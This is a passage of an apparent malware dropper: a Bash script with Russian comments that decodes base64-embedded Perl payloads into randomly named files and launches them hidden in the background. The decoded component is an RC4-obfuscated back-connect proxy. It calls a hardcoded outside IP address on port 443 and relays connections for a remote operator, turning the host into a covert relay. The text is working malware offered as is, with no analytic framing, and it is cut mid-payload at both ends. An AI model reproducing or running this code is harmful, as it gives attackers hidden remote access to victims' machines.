CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #29 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #29 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 30 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy 